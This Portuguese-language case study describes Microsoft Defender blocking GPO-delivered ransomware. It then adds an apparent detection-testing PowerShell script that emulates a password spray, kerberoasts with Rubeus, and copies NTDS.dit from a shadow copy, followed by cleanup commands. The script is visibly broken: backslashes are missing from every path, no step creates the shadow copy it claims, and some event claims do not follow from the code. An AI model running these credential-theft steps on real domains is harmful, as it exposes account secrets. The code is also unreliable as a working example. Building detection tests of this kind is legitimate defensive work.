Estudo de Caso: Como a Proteção Preditiva do Defender Bloqueou Ransomware Baseado em GPO Antes da Execução

Resumo

O Microsoft Defender interrompeu um ataque de ransomware operado manualmente, direcionado a uma grande organização educacional, ao detectar abuso de Objetos de Diretiva de Grupo (GPOs) usados para enfraquecer configurações de segurança e distribuir ransomware por meio de tarefas agendadas.

Investigação

Os atacantes comprometeram uma conta de administrador de domínio, realizaram enumeração do Active Directory, forçaram credenciais, coletaram tickets Kerberos e dados NTDS, criaram contas locais fraudulentas e implantaram GPOs maliciosos para impor uma política de adulteração e acionar a entrega de ransomware por meio de tarefas agendadas.

Mitigação

A proteção preditiva do Defender identificou a atividade maliciosa do GPO, impôs o endurecimento temporário do GPO, bloqueou a distribuição do ransomware por tarefa agendada e evitou a criptografia em 97% dos dispositivos.

Resposta

Após a detecção, os defensores devem imediatamente ativar o endurecimento do GPO, conter contas comprometidas, bloquear tráfego SMB suspeito e investigar por métodos adicionais de persistência, incluindo a criação não autorizada de contas locais.

Execução de Simulação

Pré-requisito: A Verificação de Pré-vôo de Telemetria & Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

Narrativa do Ataque & Comandos

1. Enumeração de Active Directory com ADExplorer – Um atacante usa a utilitário living-off-the-land ADExplorer.exe para navegar no banco de dados do AD, gerando um evento de criação de processo que corresponde a Imagem|termina com: 'ADExplorer.exe'.

2. Força Bruta de Credenciais (T1110) – O atacante realiza um spray de senhas contra uma conta de domínio, causando repetidas tentativas de logon falhadas (Evento 4625) com a razão da falha %#13 (“O usuário tentou fazer logon de um domínio não confiável”).

3. Kerberoasting (T1558.003) – Usando a ferramenta de código aberto Rubeus, o atacante solicita tickets de serviço Kerberos para SPNs de contas de computador (por exemplo, HOST01$). Cada solicitação gera o Evento 4769 onde Nome do Serviço termina com $.

4. Dump de NTDS (T1003.003) – O atacante cria uma Cópia de Sombra de Volume do drive do sistema e extrai NTDS.dit usando ntdsutil, causando o Evento 4662 com Tipo de Objeto = "ds" and Tipo de Operação = "Replicação".

Todas as quatro ações são executadas no mesmo host dentro de uma janela de 5 minutos para emular uma fase realista de “colheita” pós-comprometimento.

Script de Teste de Regressão

# -------------------------------------------------
# Script de Simulação – Aciona todos os quatro caminhos de detecção
# -------------------------------------------------

# 1. Execução ADExplorer (criação de processo)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer não encontrado – faça o download do placeholder para o teste."
    # Simule copiando qualquer exe para o nome esperado
    Copy-Item "$env:SystemRootSysnotepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Tentativas de login por força bruta (4625 com %#13)
$domain = "CONTOSO"
$user   = "usuarioTeste"
$badPwd = "SenhaIncorreta123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting via Rubeus (requer Rubeus.exe no PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus não encontrado – pulando etapa de Kerberoasting."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. Extração NTDS.dit usando VSS (4662 replicação)
# Crie uma cópia de sombra VSS e copie NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Simulação completa. Toda a telemetria deve ser ingerida."

Comandos de Limpeza

# -------------------------------------------------
# Limpeza – remove artefatos criados pela simulação
# -------------------------------------------------

# Remova o falso ADExplorer se foi criado
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Excluir despejo de Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Excluir despejo de NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Limpe quaisquer cópias de sombra criadas (requer administrador)
# vssadmin delete shadows /all /quiet

Write-Host "Limpeza concluída."